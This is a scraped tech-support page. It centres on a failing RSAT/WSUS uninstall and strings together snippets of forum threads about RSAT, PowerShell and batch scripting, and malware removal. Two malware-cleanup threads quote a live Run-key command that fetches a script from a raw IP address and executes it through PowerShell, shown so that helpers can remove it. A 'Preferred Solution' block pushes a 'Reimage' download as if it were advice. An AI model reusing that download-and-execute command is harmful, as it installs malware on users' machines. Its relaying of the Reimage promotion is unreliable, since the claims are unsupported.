Over 1 million tech questions and answers.

RSAT Uninstall error on component WSUS API and Powershell script tools

Q: RSAT Uninstall error on component WSUS API and Powershell script tools

Hi,

I am trying to uninstall RSAT tools from my Windows 8.1 client. I'm getting the error linked below on API and Powershell cmdlets component.

I already have restarted the pc, run the dism /online /cleanup-image /scanhealth and /restorehealth, tried to delete the reg key that cbs.log tells to not be able to delete itself (in this case the error is "cannot find" instead of "cannot delete").

The link is a onedrive folder in which you can find stamps of the errors and the CBS.log.

https://1drv.ms/f/s!AjQn0MA5M2g-gRdiD_FxsQhAWlXA
Thank you,
Francesco B.

Francesco B.

Read other answers
RELEVANCY SCORE 200
Preferred Solution: RSAT Uninstall error on component WSUS API and Powershell script tools

I recommend downloading and running Reimage. It's a computer repair tool that has been proven to identify and fix many Windows problems with a high level of success.

I've used it in the past to identify and fix everything from blue screens (BSOD's), ActiveX errors, corrupt files and processes, dll/exe/sys errors, recover lost memory, Windows update problems, defragging, malware removal etc.

You can download it direct from this link http://downloadreimage.com/download.php. (This link will automatically start a download of Reimage that you can save to your computer.)

RELEVANCY SCORE 91.2

I have an install and uninstall process for RSAT - platform is W7 64-bit.
The install process works fine - the uninstall process will not remove Remote Server Administration Tools -
Here is the process
C:\Windows\System32\dism.exe /online /quiet /disable-feature /featurename:RemoteServerAdministrationTools-Roles
C:\Windows\System32\dism.exe /online /quiet /disable-feature /featurename:RemoteServerAdministrationTools-Roles-CertificateServices
C:\Windows\System32\dism.exe /online /quiet /disable-feature /featurename:RemoteServerAdministrationTools-Roles-CertificateServices-CA
C:\Windows\System32\dism.exe /online /quiet /disable-feature /featurename:RemoteServerAdministrationTools-Roles-CertificateServices-OnlineResponder
C:\Windows\System32\dism.exe /online /quiet /disable-feature /featurename:RemoteServerAdministrationTools-Roles-AD
C:\Windows\System32\dism.exe /online /quiet /disable-feature /featurename:RemoteServerAdministrationTools-Roles-AD-DS
C:\Windows\System32\dism.exe /online /quiet /disable-feature /featurename:RemoteServerAdministrationTools-Roles-AD-DS-SnapIns
C:\Windows\System32\dism.exe /online /quiet /disable-feature /featurename:RemoteServerAdministrationTools-Roles-AD-Powershell
C:\Windows\System32\dism.exe /online /quiet /disable-feature /featurename:RemoteServerAdministrationTools-Roles-AD-DS-AdministrativeCenter
C:\Windows\System32\dism.exe /online /quiet /disable-feature /featurename:RemoteServerAdministrationTools-Roles-AD-DS-NIS
C:\Windows\S... Read more

A:Uninstall RSAT - Remote Server Administration Tools

You can use WUSA in Windows 7 to remove updates:
wusa.exe /uninstall /kb:958830
Have you tried this?

André"A programmer is just a tool which converts caffeine into code" CLIP- Stellvertreter http://www.winvistaside.de/

Read other 13 answers
RELEVANCY SCORE 71.2

2017-04-20 10:35:38Successfully sent task to the Device Management Gateway 2017-04-20 10:35:44 Task has been retrieved by the Agent. 2017-04-20 10:36:18 Successfully configured BootCommand to "disable". 2017-04-20 10:36:18 Successfully configured WFType to "". 2017-04-20 10:36:18 Successfully executed ConfigWriteFilter task. 2017-04-20 10:36:18 Successfully executed common task. 2017-04-20 10:36:18 Map repository to: Master Repository 2017-04-20 10:36:18 Successfully sent task to the Device Management Gateway 2017-04-20 10:37:45 Task has been retrieved by the Agent. 2017-04-20 10:37:50 Deploy files using repository Master Repository. 2017-04-20 10:37:50 Successfully downloaded RenameTC.ps1 to C:\Windows\ from /Repository/Files/ToDeploy/Make a Change Template. 2017-04-20 10:37:50 Successfully executed DeployFiles task. 2017-04-20 10:37:50 Successfully executed common task. 2017-04-20 10:37:50 Successfully sent task to the Device Management Gateway 2017-04-20 10:37:56 Task has been retrieved by the Agent. 2017-04-20 10:38:06 Execution result (below): 2017-04-20 10:38:06 C:\Windows>powershell C:\Windows\RenameTC.ps1 2017-04-20 10:38:06 C:\Windows\RenameTC.ps1 : File C:\Windows\RenameTC.ps1 cannot be loaded 2017-04-20 10:38:06 because running scripts is disabled on this system. For more information, see 2017-04-20 10:38:06 about_Execution_Policies at http://go.microsoft.com/fwlink/?LinkID=135170. 2017-04-20 10:38:06 At line:1 char:1 2017-04-20 10:38:06 + C:\Windows\RenameTC.ps... Read more

Read other answers
RELEVANCY SCORE 71.2

Whats going on with this?

When is a fix due out?!

I just downloaded with the windows 7 sp1 iso only to find out i cant install the RSAT tools on SP1

A:Windows 7 RSAT tools SP1

Quote:
**Remote Server Administration Tools for Windows 7 can be installed ONLY on computers that are running the Enterprise, Professional, or Ultimate editions of Windows 7. This software CANNOT BE INSTALLED on computers that are running Windows 7 with Service Pack 1 (SP1). To run Remote Server Administration Tools for Windows 7 on a computer on which you want to run Windows 7 with SP1, first install Remote Server Administration Tools, and then upgrade to Service Pack 1.**

This software is not supported on computers that are running Windows 7 with Service Pack 1 (SP1). If your computer is running Windows 7 with SP1, and you try to install Remote Server Administration Tools for Windows 7, the following error message is displayed: "The update is not applicable to your computer." This limitation is by design, and is documented in the Windows 7 with SP1 Deployment Guide.

To run Remote Server Administration Tools for Windows 7 on a computer that is running Windows 7 with SP1, first install Remote Server Administration Tools, and then install Service Pack 1. The service pack updates the installed Remote Server Administration Tools for Windows 7 files to be compatible with SP1. This workaround applies only to the SP1 upgrade; it will not work if you install Windows 7 with SP1 from a DVD. Remote Server Administration Tools for Windows 7 with SP1 is scheduled for release in Spring 2011.


https://www.microsoft.com/downloads/...43997d&pf=... Read more

Read other 2 answers
RELEVANCY SCORE 71.2

Hi
I'm using windows 8.1 64bit
I had installed the remote server administration tools so I could run AD commands within powershell and this was fine for months

I was getting errors such as    "Error initializing default drive:  'a call to SSPI failed see inner exception..."
I uninstalled the remote server administration tools with the plan of reinstalling to see if that fixed the problem.   Problem is now the rsat tools wont install at all Ive tried several times and each time to installation seems to get to the end
then present s the error.    The following updates were not installed  Update for windows (KB2693643)
I'm using the installer suggested by MS web site   Windows 8.1 KB2693643 x64
Thanks for reading
Confuseis



confuseis

Read other answers
RELEVANCY SCORE 70.4

This link leads to a completely blank page: http://www.microsoft.com/en-us/download/details.aspx?id=39296
Tried on multiple computers and browsers.

Read other answers
RELEVANCY SCORE 70

Hello. I started having issues with internet explorer 32 bit running very slow. Eventually, ie-8 32bit started to fail by not connecting to the web. It would just continue to attempt to connect to a page. However, firefox and ie 64bit work, but still very slowly. I tried reseting ie8 and deleting all the temp files. I also noticed i was getting a pop up error when starting windows 7. The message was regarding the "powershell service" terminating. I imagine there is some malware on my machine. I have tried all sorts of malware removal programs both in safe mode and normal. Not all the malware programs will start up or even install. I have been at this many hours now and really could use some help. Look foward to a reply. Thank you.

A:Can't run malware tools, ie 32bit not working, receive powershell service error

Hello -
This sounds like a classic case of Poweliks infection. Please follow the directions below - - -
 
Please download Powelikscleaner (by ESET) and save it to your Desktop.
Double-click ESETPoweliksCleaner.exe to start the tool.
Read the terms of the End-user license agreement and click Agree if you agree to them.
The tool will run automatically. If the cleaner finds a Poweliks infection, press the Y key on your keyboard to remove it.
If Poweliks was detected "Win32/Poweliks was successfully removed from your system" will be displayed. Press any key to exit the tool and reboot your PC.
The tool will produce a log in the same directory the tool was run from.
Please copy and paste the log in your next reply.

Read other 8 answers
RELEVANCY SCORE 69.6

Searching for RSAT didn't give any hits so I want to post that RSAT for Windows 7 is available; link via the Ask the Directory Services Team Blog.

Ask the Directory Services Team : Remote Server Administration Tools (RSAT) Available For Windows 7 Beta

Download details: Remote Server Administration Tools for Windows 7

A:Remote Server Administration Tools - RSAT

Nice, thanks for posting!

Read other 5 answers
RELEVANCY SCORE 64.4

Hi,
I've checked the microsoft page but couldn't find the patch installation script.
I need the script which install the patches (get the patches from WSUS not to get via internet) and reboot the server (Having one wsus server in an environment. Patches sync with the help of GPMC).

Thanks in advance,
R.R.Prabuyuvaraj 

Read other answers
RELEVANCY SCORE 63.6

I am in the process of putting a batch file together to detect and force microsoft updates to a machine or a group of machines using PSEXEC.exe and a VBS script created by Rob Dunn and posted over at the forums at www.wsus.info.

I have listed below the steps needed to complete this task and would like it put together (if possible) in a batch file, UPDATE.VBS is the name of the script that I copy over to the machine and the PSTOOLS dir is the directory that PSEXEC resides in.

If I run these commands one at a time everything runs well, I would just like to know if it is possible to make this a "one step process"?


Ok here are all the cmds I need in order to run the script

1. net use \\TARGETMACHINE\C$ /user:"DOMAIN\DOMAIN USER"

2. copy update.vbs \\TARGETMACHINE\C$\update.vbs

3. exit back into PSTOOLS directory

3. psexec.exe \\TARGETMACHINE -u "DOMAIN\DOMAIN USER" -p PASSWORD -e -i cmd.exe /c cscript.exe //B C:\UPDATE.vbs


I have tested this on multiple machines and everything is running well. Any suggestions on how to set this up in one batch file? Of course I will eventually setup the PSTOOLS dir on a network drive instead of my local machine.

A:Using PSEXEC and VBS script with WSUS

Ok after a few weeks of playing around with the script and lots of help from Karlchen over at http://forum.sysinternals.com/default.asp I got it running, it goes a little something like this:

@echo off
:: Programme: remoteupd.bat
:: Function : copy update.vbs to \\target
:: launch update.vbs on \\target using psexec
:: &nbs p; will read computerlist.txt and launch update.vbs on each
:: &nbs p; of the hostnames\IPs inside the file
:: Status : third draft, arguments given on commandline, uses a listfile
:: Note : we will assume "computerlist.txt" is located in F:\Work Applications\WSUS Force Update, too.
:: Usage : remoteupd.bat adminuser password
::
:: Check that 2 arguments have been given on the commandline
if "%2"=="" (
echo usage: remoteupd.bat adminuser password
echo Try again.
exit /b 1
)
set ADMUSER="ADMIN USER\DOMAIN"
set ADMPASS="PASSWORD"
set LISTFILE=computerlist.txt

:: go to the source folder
f:
cd \Work Applications\WSUS Force Update

:: check that the listfile is there
if not exist %LISTFILE% (
echo Listfile %LISTFILE% not found. Create it and try again.
exit /b 1
)

:: Finally, all checks done, let us do our work in a for loop
for /F %%i in (%LISTFILE%) do (
REM 1. net use if ADMPASS has got no space character the
REM double quotes may be removed
net use \\%%i\C$ /user:"ADMIN USER\DOMAIN" "PASSWORD"

REM 2. copy updat... Read more

Read other 1 answers
RELEVANCY SCORE 63.6

am in the process of putting a batch file together to detect and force microsoft updates to a machine or a group of machines using PSEXEC.exe and a VBS script created by Rob Dunn and posted over at the forums at www.wsus.info.

I have listed below the steps needed to complete this task and would like it put together (if possible) in a batch file, UPDATE.VBS is the name of the script that I copy over to the machine and the PSTOOLS dir is the directory that PSEXEC resides in.

If I run these commands one at a time everything runs well, I would just like to know if it is possible to make this a "one step process"?
Ok here are all the cmds I need in order to run the script

1. net use \\TARGETMACHINE\C$ /user:"DOMAIN\DOMAIN USER"

2. copy update.vbs \\TARGETMACHINE\C$\update.vbs

3. exit back into PSTOOLS directory

3. psexec.exe \\TARGETMACHINE -u "DOMAIN\DOMAIN USER" -p PASSWORD -e -i cmd.exe /c cscript.exe //B C:\UPDATE.vbs
I have tested this on multiple machines and everything is running well. Any suggestions on how to set this up in one batch file? Of course I will eventually setup the PSTOOLS dir on a network drive instead of my local machine.
 

A:Using PSEXEC and VBS script with WSUS

Ok after a few weeks of playing around with the script and lots of help from Karlchen over at http://forum.sysinternals.com/default.asp I got it running, it goes a little something like this:

@echo off
:: Programme: remoteupd.bat
:: Function : copy update.vbs to \\target
:: launch update.vbs on \\target using psexec
:: &nbs p; will read computerlist.txt and launch update.vbs on each
:: &nbs p; of the hostnames\IPs inside the file
:: Status : third draft, arguments given on commandline, uses a listfile
:: Note : we will assume "computerlist.txt" is located in F:\Work Applications\WSUS Force Update, too.
:: Usage : remoteupd.bat adminuser password
::
:: Check that 2 arguments have been given on the commandline
if "%2"=="" (
echo usage: remoteupd.bat adminuser password
echo Try again.
exit /b 1
)
set ADMUSER="ADMIN USER\DOMAIN"
set ADMPASS="PASSWORD"
set LISTFILE=computerlist.txt

:: go to the source folder
f:
cd \Work Applications\WSUS Force Update

:: check that the listfile is there
if not exist %LISTFILE% (
echo Listfile %LISTFILE% not found. Create it and try again.
exit /b 1
)

:: Finally, all checks done, let us do our work in a for loop
for /F %%i in (%LISTFILE%) do (
REM 1. net use if ADMPASS has got no space character the
REM double quotes may be removed
net use \\%%i\C$ /user:"ADMIN USER\DOMAIN" "PASSWORD"

REM 2. copy update.vbs
copy update.vbs \\%%i\C$\update... Read more

Read other 1 answers
RELEVANCY SCORE 62

I'm running Remote Server Administration Tools (RSAT) on Windows 7 Professional 64-bit and I've noticed that when I run the DHCP Management tool (DHCPMGMT.MSC) and I add our DHCP Authorised server then close the console, it forgets the DHCP server and I
have to re-select it next time I use the console. 
On the other hand, the DNS console remembers that I've used a particular DNS server even after I close the console.
Wondering why the DHCP Management console is so forgetful?

A:DHCPMGMT.MSC in Remote Server Administration Tools (RSAT) won't remember DHCP server

Hi,
This is by design.

Read other 10 answers
RELEVANCY SCORE 60

Hi, I am running a logon script that elevates to run as admin. But users get the popup message every time they log in.

Is there way to add the script as trusted so once a user clicks yes it adds as a trusted script and runs every time without the UAC popup thereafter. Thanks
powershell -noprofile -command "&{ start-process powershell -ArgumentList '-noprofile -file DataBackup.ps1' -verb RunAs -WindowStyle Hidden}"
 

Read other answers
RELEVANCY SCORE 60

Background: I have some text files I want to copy only specific text from. Can I start and stop with certain identifiers within the file?

The files I need to split have a heading and footer with a bunch of *s. Is there any way I can look for a specific number of *s and tell the script to copy everything between the header and footer?

They're not a header and footer per se, but these *s surround the data which I actually want.

A:Powershell Script Help

I've done some thought on this and is there a way to do something like this:

$asterisk = "***************************************"

read file lines

count asterisk

while asterisk = 3

copy data to another file

when asterisk = 4

stop and go to next file

I'm fairly new to scripting. This makes logical sense in my mind, but I'm not quite sure how to run it.

Read other 1 answers
RELEVANCY SCORE 59.2

# Need to create 100 mailboxes using the powershell script"
$DefaultPW = read-host "Enter Password" -AsSecureString

import-csv "C:\ExchangeTest1.csv" | Foreach-object {

$Fname = $_.FName
$LName = $_.LName
$User = $_.Username
New-Mailbox -UserPrincipalName $[email protected] -Alias $User -Database "MB1" -Password $DefaultPW -FirstName $FName -LastName $LName -ResetPasswordOnNextLogon $true

}
 

Read other answers
RELEVANCY SCORE 59.2

I am trying to clean an infection on a computer.  I have removed everything but this.  Every time I reboot.  I get a powershell window open with a bunch of numbers in it.   Under HKCU\Software\microsoft\run I have a key called winsystem with this in it.
 
cmd.exe /c start C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe -command "$a = New-Object System.Net.WebClient; $b = $a.DownloadString('http://37.228.88.167:80/landing?action=psf&pubid=0&subid=0&systemhash=1958591137'); iex $($b)"
 
I removed the key several times and it just comes back.  I have run the following programs.
 
Combofix
AWDcleaner
Norton Power eraser
malwarebytes
 
 
HJT log file attached.
 
Has anyone run across this before?  I searched the forums and did not find anything.

A:Powershell.exe script running.

Hello, Welcome to BleepingComputer.I'm nasdaq and will be helping you.If you can please print this topic it will make it easier for you to follow the instructions and complete all of the necessary steps in the order listed.===Download the version of this tool for your operating system.Farbar Recovery Scan Tool (64 bit)Farbar Recovery Scan Tool (32 bit)and save it to a folder on your computer's Desktop.Double-click to run it. When the tool opens click Yes to disclaimer.Press Scan button.It will make a log (FRST.txt) in the same directory the tool is run. Please copy and paste it to your reply.The first time the tool is run, it makes also another log (Addition.txt). Please attach it to your reply.===p.s.HijackThis is not ready for windows 7 and above.I suggest you remove it using the Add/Remove Programs applet.Use the the Farbar tool from no own to report problems.

Read other 2 answers
RELEVANCY SCORE 59.2

Ok, so this doesn't necessarily have to do with Windows 7, but I originally wanted to reply to a post on Vista forums and somehow I ended up here. Anyway...

I actually tried all of this on Windows Server 2008 - set policies, scripts and logged on there.
Here's one way that actually works. 1) created a logonScript.ps1 file with whatever in it for the actual logon script. 2) created GPO with a policy for running a logon script and specified a vbScript file: launcher.vbs. 3) put those two files in the same folder related to the policy if you know what I mean.
The launcher.vbs contains:
[
' set up objects
Set WshShl = WScript.CreateObject("WScript.Shell")
Set fileSys = CreateObject("Scripting.FileSystemObject")
Set scriptFile = fileSys.GetFile("logonScript.ps1")

WshShl.Run("PowerShell.exe -NoLogo -NoProfile -command ""&{set-executionpolicy Unrestricted;&'" & scriptFile & "'}""")
]
That last line causes something like:
'PowerShell.exe -NoLogo -NoProfile -command "&{set-executionpolicy Unrestricted;&'\\IT270\sysvol\IT270.com\Policies\{AAD5280F-A3B7-4F65-B15B-27E6F92BA431}\User\Scripts\Logon\logonScript.ps1'}"
to run.
The one remaining problem is that I still get a prompt asking me if I want to run the script or not. If I set the IE intranet zone trusted sites to have file://IT270 then that prompt goes away. Unfortunately, setting it with Group Policy didn't work. I had to do ... Read more

A:PowerShell logon script

I've also created a Powershell login script here which I run not using Group Policy but from the user's AD account as part of their actual login script.

Powershell login script to map network drives, printers and applicaton settings

Hope this helps others out.

Read other 1 answers
RELEVANCY SCORE 59.2

I am trying to clean an infection on a computer.  I have removed everything but this.  Every time I reboot.  I get a powershell window open with a bunch of numbers in it.
 
cmd.exe /c start C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe -command "$a = New-Object System.Net.WebClient; $b = $a.DownloadString('http://37.228.88.167:80/landing?action=psf&pubid=0&subid=0&systemhash=1958591137'); iex $($ B)"
 
Has anyone run across this before?  I searched the forums and came across one but the topic was closed. http://www.bleepingcomputer.com/forums/t/574756/powershellexe-script-running/
 
I have run Malwarebytes and removed malware. I have also run roguekiller to remove poweliks.
 

A:powershell.exe script running

Hey!
 
First let's attempt to remove the registry key that causes that powershell windows to open:
 
1. Press the Windows key and the "R" key at the same time, and then type this in the window that opens: regedit

 
2. Windows registry editor will open. Navigate to HKEY_CURRENT_USER\Software\Microsoft\Windows\Currentversion\Run, using the menu on the left. If you do not know how to use regedit, here's a guide. However, it's really simple and I doubt you need a guide
 
3. When you're there, on the right side of the screen, find the item which "data" begins with cmd.exe /c start C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe, and right click and delete it!
If it's not there, please check if it's in  HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run, and delete it.
Warning: only remove that item I mentioned! Don't delete anything that isn't in those two locations, and which data doesn't start with cmd.exe /c start C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
 
Now the powershell shouldn't start when you boot the PC. However, your PC may still be infected.
You know how to run Malwarebytes, so please do a scan and remove the malware it finds. If it asks you to restart the PC, say "yes". Then, open Malwarebytes, select the "History" tab on the top, click the most recent "scan log", and on the window that opens, on the bottom, click "export --> copy to clipboard" and paste it here.

 
-------------------
T... Read more

Read other 5 answers
RELEVANCY SCORE 59.2

Hi,

I have this powershell script that keeps on saying the length of the SID is wrong, or that I have invalid chars in the SID. The script is supposed to add an outbound firewall rule which blocks all traffic from a local user . The environment is Windows 10. Just change the username 'owner' to any user name on your system.

function getSID {
$objUser = New-Object System.Security.Principal.NTAccount($args[0])
$strSID = $objUser.Translate([System.Security.Principal.SecurityIdentifier])
$strSID.Value }

new-netfirewallrule -displayname 'Block User' -direction outbound -action block -localuser (getSID 'owner')

Click to expand...

So I tried using the output of the function directly as a string and it still complains of the same thing:
new-netfirewallrule -displayname 'Block User' -direction outbound -action block -localuser 'S-1-5-21-111336864-2315030922-3644749520-1001'Click to expand...

Any ideas ?

I have to use Powershell because in their command it has the 'localuser' option, which is not available when using 'netsh advfirewall', the command line tool. Apparently netsh is not going to be updated anymore, and Powershell is the way forward.

The manual way of doing this is to use Windows Administrative Tools > Windows Firewall with Advanced Security. Creating a outbound, custom rule which just blocks. Then go back into the rule's properties and the Local Principals tab will appear, where you ... Read more

A:Can't get this Powershell script to work

Read other 6 answers
RELEVANCY SCORE 59.2

kindly help me sample powershell script to below sceanrios
1) just to find dll versions for list of machine
2) just to find add and remove program from list of machines
3) just to find installed KB or patches from list of machines

Read other answers
RELEVANCY SCORE 59.2

Hello,
I need to make an installation script for Messag Analyzer 1.4. After installation, the welcome screen, updates, user contact and Telemetry should be disabled. I don't find any installation switches to do that. I've found that app.applicationconfiguration
is used to store those configurations but it is created after I manually do the configuration.
I'd like to disable these parameters during installation. I don't want the users manually configure these settings.
Can you help me with that issue please?
Thanks for your time!

Jack

Read other answers
RELEVANCY SCORE 59.2

It's the modders eternal question...

Should I spend the afternoon overclocking the CPU, or do I need more RAM, or is my hard drive the real limiter?

For gaming the formula is usually pretty straightforward: make sure you have enough RAM (usually not a factor), then it's all about the graphics card first and CPU second.

I use PCMark alot, but I want to learn more from others.

So: how would you determine what the best place to start upgrading performance is?

For a twist let's assume that it isn't all about the graphics (so optimize around Office or "typical" use). Or just talk about your favorite Benmarking programs. (Incidentally I DON'T recommend PCMark despite using it. I'm kind of unhappy with it and it isn't free so I don't want others buying it because I mentioned it).
 

A:Best tools for figuring out what component is limiting you?

dark green said:



It's the modders eternal question...

Should I spend the afternoon overclocking the CPU, or do I need more RAM, or is my hard drive the real limiter?

For gaming the formula is usually pretty straightforward: make sure you have enough RAM (usually not a factor), then it's all about the graphics card first and CPU second.

I use PCMark alot, but I want to learn more from others.

So: how would you determine what the best place to start upgrading performance is?

For a twist let's assume that it isn't all about the graphics (so optimize around Office or "typical" use). Or just talk about your favorite Benmarking programs. (Incidentally I DON'T recommend PCMark despite using it. I'm kind of unhappy with it and it isn't free so I don't want others buying it because I mentioned it).Click to expand...

You HDD is usually something thats NOT the limiter in performance. The MAIN limiters are the graphics card, CPU, RAM and the motherboard your using.

Finding out what is the limiter can be as simple as knowing what your components are capable of, and it can be as hard as having to tweak every little setting until you figure out which component is limiting you.

What is this for exactly. Your own PC. if yes, than please list your PC specs so I can determine what is or could be the limiting component of your PC.
 

Read other 16 answers
RELEVANCY SCORE 58.8

I work in a school and was wanting to get some help with setting up a logon script. In our school we have a few computer rooms where students would take exams on a pc. So for example a room would be in D block and the room number would be 6. We also have 'test' accounts which we deny access to Internet and other such things. What I would like to know is how would a script work to login each computer as a test user on each computer in D6.

Read other answers
RELEVANCY SCORE 58.8

I work in a school and was wanting to get some help with setting up a logon script. In our school we have a few computer rooms where students would take exams on a pc. So for example a room would be in D block and the room number would be 6. We also have 'test' accounts which we deny access to Internet and other such things. What I would like to know is how would a script work to login each computer as a test user on each computer in D6.

Read other answers
RELEVANCY SCORE 58.8

Hey guys, and thanks for the help in advance!  Rather than hijack another's thread I will wreak my havoc here.
 
From what I just read (Thanks to Didier Stevens) I see that I have an older version of PowerShell, and that this Script won't work.  Here is my outcome.  I will go try to find the info on Updating Powershell, and then try the script again.  Any advice on that would be nice, if there is anything to avoid etc.  Hopefully this will also help others with this issue.

Windows PowerShell
Copyright (C) 2009 Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> Install-Module SpeculationControl
The term 'Install-Module' is not recognized as the name of a cmdlet, function, script file, or operable program. Check
the spelling of the name, or if a path was included, verify that the path is correct and try again.
At line:1 char:15
+ Install-Module <<<< SpeculationControl
+ CategoryInfo : ObjectNotFound: (Install-Module:String) [], CommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException

PS C:\Windows\system32> get-host|Select-Object version

Version
-------
2.0
PS C:\Windows\system32>

I am a little confused about what this Script does?  Is it that not all CPU's are vulnerable?  My CPU does not have a current firmware update so it may be vulnerable at this time (though not to worried about it ATM) I have time to work on it now, so I'll try to move for... Read more

A:Meltdown and Spectre Powershell-Script Won't Run, Me Too!

You need to install the Windows Management Framework to update PowerShell.
Take a look at the table here to see which version is compatible with your Windows version:
 
https://docs.microsoft.com/en-us/powershell/wmf/readme

Read other 5 answers
RELEVANCY SCORE 58.8

Hello, I have a PowerShell Script I would like to run at any user logon. I have set task scheduled to run the script. But the message the script is to pop up is not showing. Does anyone have any ideas about why the pop up message in the scheduled script
is not showing?
I will add that the script does work. I can run the script and the message pops up. But, trying to run it from the task scheduler, nothing happenings. The Task Scheduler last run result, says completed successfully. But still the message does not show.
Thanks

TechNet Forums

Read other answers
RELEVANCY SCORE 58.8

Hi, I'm looking for some help!
I'm trying to write a script that will set the default printer to PRINTER3 if the current default printer is called PRINTER1, then exit powershell. I have hundreds of devices in different locations to change so this would be very helpful if someone could
help.
Here is what I have so far:

Set-Content C:\Temp\current.txt (Get-WmiObject -namespace root\cimv2 -Query ?select * from Win32_Printer Where Default = TRUE? | select -ExpandProperty name)
$current=get-content C:\Temp\current.txt
if (-eq ($current - 'PRINTER1'))
{
(Get-WmiObject -Class Win32_Printer -Filter "Name='PRINTER3'").SetDefaultPrinter()
}
exit

Thanks
Mark

Read other answers
RELEVANCY SCORE 58.8

I am writing a script to change my computer settings when I go to work and change them back when I get home.

I would like to know how to script turning on/off Airplane Mode. If that's not possible, how do I script turning on/off wireless and Bluetooth?


Code:
$Office = 'e40fb68e-3e3a-4942-aa68-0490b7e7a790'
$Balanced = '381b4222-f694-41f0-9685-ff5bb260df2e'
$currHour = (get-date).hour
if ($currHour -ge 7 -and $currHour -le 14) {
powercfg -SetActive $Office

#Disable-NetAdapter -Name "Wi-Fi"
#Start-Service -displayname "Bluetooth service"

} else {

powercfg -SetActive $Balanced

#Enable-NetAdapter -Name "Wi-Fi"

#Stop-Service -displayname "Bluetooth service"
}

A:Powershell script Airplane Mode

Hello Jesus, and welcome to Eight Forums.

I'm not sure about with a PowerShell script, but you might see if the shortcuts below to turn Airplane Mode off and on may work for you. You could pin or use them where you like.

http://www.eightforums.com/tutorials...ndows-8-a.html

Hope this helps,
Shawn

Read other 7 answers
RELEVANCY SCORE 58.8

Code:
set LISTFOLDER=D:\List\
set FILESPATH=D:\Igre\COD-MW2\main\images
set DESTPATH=D:\Igre\COD-MW2\main\images\thepit

REM for /r %LISTFOLDER% %%I in (*.txt) do echo xcopy /qvs "%FILESPATH%\%%~nxI" "%DESTPATH%%%~pnxI"
for /r %LISTFOLDER% %%I in (*.txt) do xcopy /qvs "%FILESPATH%\%%~nxI" "%DESTPATH%%%~pnxI"
This script does not work.

The poster on another fourum said it could be a typo or something, but no further info was provided what the correct script is, although he had no errors, he mentioned it could be environment, I'm on win7 x64.

I have another similar script for filenames in a txt only, which appears to work, but it doesn't work because I have filespath in the txt, in the meantime i'll manually remove paths to see if it'll work with that, but still this script would be handy to save time in future.

A:CMD or Powershell Moving - script not working

I've got it working a bit more with filenames


Code:
@echo off

set FILELIST=D:\List\imageFilenames.txt
set FILESPATH=D:\Igre\COD-MW2\main\images
set DESTPATH=D:\Igre\COD-MW2\main\images\thepit

for /f %%X in (%FILELIST%) do call :COPY_FILES "%%X"
goto :eof

:COPY_FILES
for /r %FILESPATH% %%I in (%~1) do xcopy /qvs "%%I" "%DESTPATH%%%~pnxI"
But the error is

"cannot perform cyclic copy"

Read other 2 answers
RELEVANCY SCORE 58

Hey there, my Windows 10 Machine is updated and patched with the update: kb4056892.
 
My processor: Intel® Core™ i3-3240 CPU @ 3.40GHz.
Engine: Intel® Management Engine.
My OS: Microsoft Windows 10 Home 64x.
My Desktop: Hewlett-Packard, Pro3500 Series
 
already tested it with: Intel-SA-00086 Detection Tool 1.0.0.152.   (I don't Know what the Tool doe's but people says it will scan if your processor is patched against Meltdown, or Spectre.. but i don't know.. :s)
 
and the results are: This system is not vulnerable.
 
but iknow MS have created an Powershell-Script to check if your system is Patched against Meltdown or Spectre or if it need Firmware update or not..
 
But when i run the Scripts:
 
Install-Module SpeculationControl (It asks me how to open it with an app)
 
already changed the: Set-ExecutionPolicy Bypass (To YES all)
 
But nothing has helped.. and i need to run this Script, anything to fix this so that i can run the Script, to check my System?
 
already have enabled (Strict Site Isolation in Google Chrome) and as always using an adblocker to protect me from Malicious Ads, other things.. 
 
-Cheers! 

A:Meltdown and Spectre (Problem with Powershell-Script!) Need Help ..

You have already applied the KB patch that fixes the vulnerabilities.   There is nothing more that needs to be done.

Read other 55 answers
RELEVANCY SCORE 58

Hi all,
forgive me if this is the wrong folder.
I am googling scripts to find a PS script to count file types and files in several directory's on our network.
I am a noob on powershell, and I'm trying to experiment.
I have several directory's on my "Libraries" directory on my pc at work. I'm just trying to test a PS script to get this to work to count the files and list the file types in my "Libraries\Documents\Tidbits" folder.


Code:
Get-ChildItem \\hilltop3\users$\LongRandy\My Documents\TIDBITS
but I get this error:"Get-ChildItem : Cannot find path '\\hilltop3\users$\LongRandy\My' because it does not exist.
At line:1 char:14
+ Get-ChildItem <<<< \\hilltop3\users$\LongRandy\My Documents\TIDBITS
+ CategoryInfo : ObjectNotFound: (\\hilltop3\users$\LongRandy\My:String) [Get-ChildItem], ItemNotFoundExc
eption
+ FullyQualifiedErrorId : PathNotFound,Microsoft.PowerShell.Commands.GetChildItemCommand"

How can I put in the ENTIRE file path? It just arbitrarily truncates the path?

Thanks again

A:Powershell script to count file types

You may find someone qualified for answering this here but your best bet is a place like this https://social.technet.microsoft.com...rverpowershell

Read other 2 answers
RELEVANCY SCORE 58

Hi,
I need copy files from one(source) server to another(destination) server and want to log an event in case any failure happens for example if destination server is not available.
I have tested the following command in a powershell script and its just working fine for copy to destination and then moving the files to archive. 

Copy-Item "c:\copy\*" -Destination "\\server1\d$\testcopy" 
Move-Item "c:\copy\*" -Destination "c:\Archive" 


Please advise how can i log event in eventviewer in case of error or if script is not executed.

Read other answers
RELEVANCY SCORE 58

Hello, I need help in setting bios settings remotely to 1000+ computers. I have a problem where I have computers with two different passwords. I came up with PowerShell script but the two passwords don't work in conjunction together. Can you please help with the scripts. Can you also provide me with VBS script so I can use group policy to apply the changes? Powershell will work in SCCM task sequence but doesn't work in group policy because of evaluation issues. Here is the script I came up with:   param(
[Parameter(Mandatory=$true,Position=1)]
[string]$password,
[Parameter(Mandatory=$true,Position=2)]
[array]$config
)
$settings = Get-Content $config
foreach($setting in $settings)
{
$run = "$setting,$password,ascii,us"
$Response = (gwmi -class Lenovo_SetBiosSetting -namespace root\wmi).SetBiosSetting("$run").return
write-output ("$setting`n$Response")
if($Response="Access Denied")
{$password="h3cabozihctymageiv4i"}
$Response = (gwmi -class Lenovo_SaveBiosSettings -namespace root\wmi).SaveBiosSettings("$password,ascii,us").return
write-output ("$setting`n$Response")

